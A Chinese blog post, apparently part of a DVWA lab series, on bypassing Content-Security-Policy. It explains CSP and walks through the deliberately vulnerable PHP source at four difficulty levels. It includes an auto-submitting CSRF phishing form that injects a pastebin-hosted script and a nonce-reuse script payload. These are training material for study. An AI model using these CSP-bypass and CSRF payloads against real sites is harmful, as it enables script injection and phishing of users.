【DVWA系列】十三、CSP Bypass 绕过浏览器的安全策略(源码分析&漏洞利用)

DVWA

CSP Bypass 绕过浏览器的安全策略


什么是CSP?

CSP即Content-Security-Policy,是指HTTP返回报文头中的标签,浏览器会根据标签中的内容,判断哪些资源可以加载或执行。翻译为中文就是内容安全策略。是为了缓解潜在的跨站脚本问题(XSS),浏览器的扩展程序系统引入了内容安全策略这个概念,原来应对XSS攻击时,主要采用函数过滤、转义输入中的特殊字符、标签、文本来规避攻击。

CSP的实质就是白名单制度,开发人员明确告诉客户端,哪些外部资源可以加载和执行。开发者只需要提供配置,实现和执行全部由浏览器完成。

例如:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

script-src 'self':script-src脚本只信任当前域名;

object-src 'none':不信任任何URL,即不加载任何资源;

style-src 样式表:只信任 http://cdn.example.orghttp://third-party.org

child-src:必须使用HTTPS协议加载。这个已从Web标准中删除,新版本浏览器可能不支持;

其他资源:没有限制其他资源。

当启用CSP后,不符合CSP的外部资源会被阻止加载。

为什么要使用CSP呢?

首先,CSP是一种声明机制,允许Web开发者在其应用程序上指定多个安全限制,由支持的用户代理(浏览器)来负责强制执行。CSP旨在“作为开发人员可以使用的工具,以各种方式保护其应用程序,减轻内容注入漏洞的风险和减少应用程序执行的特权”。

一、Low 级别

源代码:

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; 
// allows js from self, pastebin.com, hastebin.com, jquery and google analytics.

header($headerCSP);

# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://hastebin.com/raw/ohulaquzex

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    <script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';

可以看到被信任的网站有:
https://pastebin.com、example.com、code.jquery.com、https://ssl.google-analytics.com。

抓包,也能观察到返回的报文中CSP的内容:

在这里插入图片描述

漏洞利用

  1. 把恶意代码保存在受信任的网站上,然后把链接发送给需要攻击的用户,用户点击后,达到注入目的。

我们观察到 https://pastebin.com 网站,是一个快速分享文本内容的网站,将js代码放置在该网站,然后注入url地址,成功触发js代码:

在这里插入图片描述

在这里插入图片描述

  1. 通过CSRF实现攻击,做一个钓鱼网站,通过发送邮件等方式让用户收到链接后,诱惑点击,用户点击后,则被被攻击。
<form action="http://192.168.40.129/vulnerabilities/csp/" id="csp" method="post">

<input type="text" name="include" value=""/>

</form>

<script>

var form = document.getElementById("csp");
form[0].value="https://pastebin.com/raw/Vm3hrTc4"; form.submit();

</script>

二、Medium 级别

源代码:

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';

http头信息中的script-src的合法来源发生了变化:

unsafe-inline:允许使用内联资源,如内联 <script> 元素:javascript:URL,内联事件处理程序(如onclick)和内联 <style> 元素,必须包括单引号。

nonce-source:仅允许特定的内联脚本块, nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA="

所以可以直接输入以下代码:<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>,成功触发js代码:

在这里插入图片描述

三、High 级别

在这里插入图片描述

这个级别已经没有输入框了,不过题目已经给了足够多的提示:

该页面调用../..//vulnerabilities/csp/source/jsonp.php以加载一些代码。修改该页面以运行您自己的代码。

jsonp.php:

<?php
header("Content-Type: application/json; charset=UTF-8");

if (array_key_exists ("callback", $_GET)) {
	$callback = $_GET['callback'];
} else {
	return "";
}

$outp = array ("answer" => "15");

echo $callback . "(".json_encode($outp).")";
?>

源代码:

<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
    <p>1+2+3+4+5=<span id="answer"></span></p>
    <input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/high.js"></script>
';

首先先看一下 CSP 头,发现只有 script-src 'self' ,看来只允许本界面加载的 javascript 执行。

这个点击显示答案的逻辑(逻辑在 source/high.js里),源码:

function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

function solveSum(obj) {
	if ("answer" in obj) {
		document.getElementById("answer").innerHTML = obj['answer'];
	}
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
	solve_button.addEventListener("click", function() {
		clickButton();
	});
}

大致流程如下:

  1. 点击按钮,js 生成一个 script 标签(src 指向 source/jsonp.php?callback=solveNum),并把它加入到 DOM 中;
  2. js 中定义了一个 solveNum 的函数,因此 script 标签会把远程加载的 solveSum({“answer”:“15”}) 当作 js 代码执行,而这个形式正好就是调用了 solveSum 函数;
  3. 然后这个函数就会在界面适当的位置写入答案。

四、Impossible 级别

修复了 callback 参数可被控制问题,就没有 url 中的 callback 了,后台写死了。

源代码:

<?php

$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
    <p>1+2+3+4+5=<span id="answer"></span></p>
    <input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/impossible.js"></script>
';

impossible.js

function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp_impossible.php";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}

jsonp_impossible.php

<?php
header("Content-Type: application/json; charset=UTF-8");

$outp = array ("answer" => "15");

echo "solveSum (".json_encode($outp).")";
?>
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值